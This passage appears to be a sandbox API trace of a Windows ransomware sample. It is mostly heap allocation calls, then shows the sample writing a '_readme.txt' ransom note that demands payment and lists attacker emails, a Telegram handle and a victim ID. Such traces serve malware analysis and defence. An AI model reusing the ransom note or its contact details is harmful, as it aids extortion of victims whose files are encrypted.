hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.379] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.379] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.379] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.379] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.379] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.379] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.379] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.379] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.379] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.379] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.379] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.379] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.379] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.379] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.379] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.379] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.379] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.379] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.379] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.379] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.379] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.379] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.379] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.379] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.379] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.379] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.379] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.380] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.380] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.380] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.380] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.380] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.380] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.380] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.380] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.380] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.380] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.380] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.380] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.380] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.380] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.380] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.380] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.380] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.380] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.380] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.380] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.380] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.380] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.380] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.380] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.380] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.380] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.380] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.380] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.380] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.380] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.380] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.380] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.381] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.381] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.381] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.381] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.381] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.381] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.381] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.381] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.381] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.381] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.381] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.381] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.381] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.381] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.381] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.381] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.381] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.381] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.381] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.381] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.381] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.381] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.381] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.381] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.381] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.381] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.381] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.381] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.381] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.381] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.381] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.381] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.381] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.382] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.382] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.382] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.382] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.382] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.382] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.382] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.382] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.382] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.382] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.382] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.382] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.382] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.382] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.382] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.382] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.382] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.382] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.382] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.382] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.382] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.382] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.382] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.382] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.382] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.382] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.382] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.382] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.382] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.382] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.382] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.382] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.383] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.383] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.383] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.383] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.383] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.383] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.383] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.383] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.383] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.383] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.383] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.383] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.383] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.383] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.383] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.383] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.383] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.383] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.383] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.383] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.383] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.383] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.383] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.383] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.383] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.383] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.383] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.383] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.383] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.383] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.383] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.383] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.383] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.384] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.384] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.384] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.384] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.384] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.384] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.384] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.384] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.384] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.384] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.384] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.384] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.384] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.384] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.384] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.384] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.384] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.384] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.384] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.384] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.384] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.384] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.384] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.384] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.384] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.384] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.384] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.384] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.384] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.384] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.384] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.384] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.384] PathFindFileNameW (pszPath="C:\\Boot\\fr-FR\\") returned="fr-FR\\" [0116.385] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.385] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.385] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0116.385] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.385] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.385] PathFindFileNameW (pszPath="") returned="" [0116.385] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.385] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.385] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.385] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x800) returned 0x39f3ef0 [0116.385] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f3ef0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.385] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x810) returned 0x39f46f8 [0116.385] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.385] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f46f8 | out: hHeap=0xd10000) returned 1 [0116.385] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.385] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.385] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.385] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.385] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.385] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.385] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.386] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x81c) returned 0x39dcb30 [0116.386] PathAppendW (in: pszPath="C:\\Boot\\fr-FR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\fr-FR\\_readme.txt") returned 1 [0116.386] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.386] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.386] PathFileExistsW (pszPath="C:\\Boot\\fr-FR\\_readme.txt") returned 0 [0116.386] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x7d00) returned 0x39f7f20 [0116.386] lstrcpyW (in: lpString1=0x39f7f20, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" [0116.387] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt 